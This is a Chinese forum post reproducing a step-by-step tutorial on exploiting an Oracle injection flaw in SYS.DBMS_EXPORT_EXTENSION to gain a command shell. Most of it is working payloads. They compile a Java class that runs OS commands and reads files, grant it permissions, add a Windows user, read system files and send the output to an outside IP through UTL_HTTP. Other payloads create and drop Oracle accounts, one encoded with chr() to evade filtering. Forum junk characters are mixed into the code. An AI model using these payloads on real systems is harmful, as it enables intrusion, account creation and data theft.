找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2211|回复: 0
打印 上一主题 下一主题

实例演示oracle注入获取cmdshell的全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-18 12:21:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
5 p# L$ v( h$ O, L2 d' i- F; L+ O5 l4 p9 L
  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
2 ^) B/ P. }4 y' {8 @+ q的形式即可。(用" 'a'|| "是为了让语句返回true值)
' p7 `) C. U0 L$ ]) b( K语句有点长,可能要用post提交。 0 W5 n/ ?7 r- i6 C; Q8 b1 Q
以下是各个步骤: # c9 j2 ^3 d: Q# s4 }4 Q/ \
1.创建包
  l% H4 D) r: e! a7 i( f通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:4 T' D/ E( w# S5 r$ Y
/xxx.jsp?id=1 and '1'<>'a'||( 2 b/ L: \3 S4 Q/ |( ~2 M
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 F+ ^- p  T3 U( ecreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
" c2 z' y- ^0 A1 y- n" N" Xnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}, W" h( j3 V% W1 y- p# ^
}'''';END;'';END;--','SYS',0,'1',0) from dual 4 @3 _! \+ T7 S' d" ?
)
: S  q- y& N0 V$ H1 L------------------------   D9 u* d0 d4 G' z/ t2 y  U
如果url有长度限制,可以把readFile()函数块去掉,即:
( t3 Q" J/ R# z0 u3 [- U) D3 c2 z/xxx.jsp?id=1 and '1'<>'a'||( * R$ [7 E3 Y" O! p
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# g( Z& k+ @& T, G6 R7 g. u
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(' G& M! r/ s2 Q$ M9 B% B
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}6 w9 ^9 w& l/ y8 W! [
}'''';END;'';END;--','SYS',0,'1',0) from dual
1 L2 n9 G) A" h5 ~" x) s& E)
9 c$ _  ]6 y# d9 K同时把后面步骤 提到的 对readFile()的处理语句去掉。
/ u* G! z: R& r% u5 z1 `+ [( I* \, h------------------------------
; y3 x% g# b3 v3 O# P2.赋Java权限
, G' F7 U6 D7 }5 o; {select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual- `7 w9 W% ?! K; r; X' Y! n
3.创建函数
( P7 G# ~8 S. B1 E) c3 tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) F, f* f! `( [' N! J$ Q7 Qcreate or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
6 X. }) O9 T5 ~, w+ _+ j' rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 P' L* u8 z6 C( K3 d" A; F
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
8 R3 i! W( w0 y: R+ D4 B+ S+ I4.赋public执行函数的权限 3 x& u& t( g" X* t; U5 j5 l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
' K! t/ M. k( e7 t) Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual4 H8 O7 o& K2 X) u! f! @
5.测试上面的几步是否成功
: X- M% X$ ^  y  hand '1'<>'11'||( $ b1 p% g1 e! J
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
; g1 W  d% W; r4 ?$ N0 G5 S) # k- v. y, ^# T/ W- ~
and '1'<>( " k. x& v' z& M7 U7 z( e, N; G$ N
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE' & D4 e. K0 _4 Q) U; K
) 7 I8 W- w8 n$ u, X1 V
6.执行命令:
' R' A* I- D2 P: b7 u% `# [$ ~" d/xxx.jsp?id=1 and '1'<>(
! S/ v3 t) }& i2 V2 I) V( ]select  sys.LinxRunCMD('cmd /c net user linx /add') from dual ! Y! U7 a! H# b8 s0 V! F

0 ?; E" I- ]' l, _5 Y# L) y)
3 j! u. o" h, |/xxx.jsp?id=1 and '1'<>( 4 w* ^" @3 R7 v/ z
select  sys.LinxReadFile('c:/boot.ini') from dual, U. {; H% D4 u2 Q
% t- R- A  h8 w7 ]* W+ N
), y) R0 X$ O9 R* g& d3 \
  # x! G; ]4 Y; K0 l; _, L
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。   [& w9 B" i; Q% L! ]7 ]  U
如果要查看运行结果可以用 union :
; t. k' q9 ~6 |& b+ a/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual0 q& \! J' c1 H% U7 r, O. Z
或者UTL_HTTP.request(:
* n$ A1 V& F! C3 H% O& d/xxx.jsp?id=1 and '1'<>(
- P3 x- a" x1 y+ WSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
; W2 E$ [) h% U; }* E% _) 9 \: K) `& h; F" B1 ]
/xxx.jsp?id=1 and '1'<>(
- s; M) u' {) ~  ]SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual; p: Y& \4 O/ |
) ; b, p2 u9 U2 s) t: x( w+ P
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
* [1 m9 r# d2 t* Q' m--------------------
9 A/ `4 O7 j, p+ R  j/ j6.内部变化 * c) j/ i4 X! b* C
通过以下命令可以查看all_objects表达改变: " \' w6 ]$ G' c/ Q
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'# B: J: `$ A' R+ D  u
7.删除我们创建的函数
- ?8 ^8 S( k6 Z% W! j# Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# h0 ^3 w, s6 R( s" ^% s
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
( d2 V% r/ h/ }  m$ C==================================================== . h6 T: {1 x) B8 Q2 s0 Z, Y
全文结束。谨以此文赠与我的朋友。 ! E% H" U8 C: M8 j
linx
+ @% g, u- V# {: j+ |124829445 # O0 R' x4 w! ]; {4 m) G
2008.1.12
- `" ^% V2 _+ M) R, `5 f( Zlinyujian@bjfu.edu.cn
% n# b6 `0 V5 N' \% {# Y7 u+ I, |====================================================================== 9 |- C6 C  I+ C3 L3 w. ~
测试漏洞的另一方法:
) f; q8 {1 N) A创建oracle帐号:
( {" @7 |. q; T, |8 Mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' k" @4 B& |7 T/ O( a4 W, |: B, [CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
6 I, t6 V6 c1 A即:
9 w# r# ^7 f8 [5 F9 f, _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),/ }6 z  y4 i0 `. \& q
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual   ]) ~7 d7 D/ n9 k* D0 e
确定漏洞存在: $ ~: _8 \3 k  @* O
1<>( 4 d- G+ i$ Z4 ?  h4 |
select user_id from all_users where username='LINXSQL'
7 @# n/ q- E0 z' \% u# W1 r) " e" i7 ?$ j; I1 @1 b8 W
给linxsql连接权限:
  P* G3 e3 X. g. \: b& }4 C# Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', y4 D. r* a1 g: Q+ ]
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
5 F# U7 T" x- Q" |4 x删除帐号: : ?# ]. M# l$ o# ^' B; A# f+ ^
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' R, W/ N  L7 ~' j% t6 z( f
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual * D, j) ^9 x( x: R0 f# z
======================
& }% b+ R0 b2 Z% O; A以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:7 T/ Y# H' W! f8 e( `5 ?
1.jsp?id=1 and '1'<>(
. E9 o: n% O$ J* Q$ B( d5 lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( P! K9 O8 W0 p2 M$ d; m, i4 s& ^
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual3 y$ x0 p! t5 d& j
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
/ j# {0 S6 e# f6 ~6 d1 {! j )# o$ i) d1 h) c$ G! F; s' n

2 K: O6 P/ ~  v1 S
" l3 j& z, Y+ s: I% {! @3 ]4 Y$ f7 t& {4 u& o- k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表